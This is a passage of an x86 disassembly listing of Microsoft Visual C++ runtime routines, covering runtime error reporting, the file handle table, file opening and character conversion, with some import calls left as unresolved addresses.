loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C958[esi]
		jnz	loc_423719
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2C4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C95C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C95C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2610D74h
		push	eax
		nop
		call	near ptr 26E0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC5C0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC6C0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC6C0, 20h
		lea	ecx, ds:4DC5C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	near ptr 26104FBh
		nop


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC6C0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2C4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		call	near ptr 26104FBh
		nop


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 26709FBh
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB27C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5A0, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5A0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43C9E8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB598
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC68
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43C9F8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA58
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2B8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB460
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB570, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB278, 16h
		mov	dword_4DB27C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB280
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB27C, 0
		mov	dword_4DB278, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 26F0876h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 2610739h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 26507ADh


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	near ptr 26709FBh
		nop
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB27C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB468
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	ebx
		nop
		call	near ptr 2600797h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB468, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB334


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2600797h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB334, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C504
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB344
		nop
		call	near ptr 2801154h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB334, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
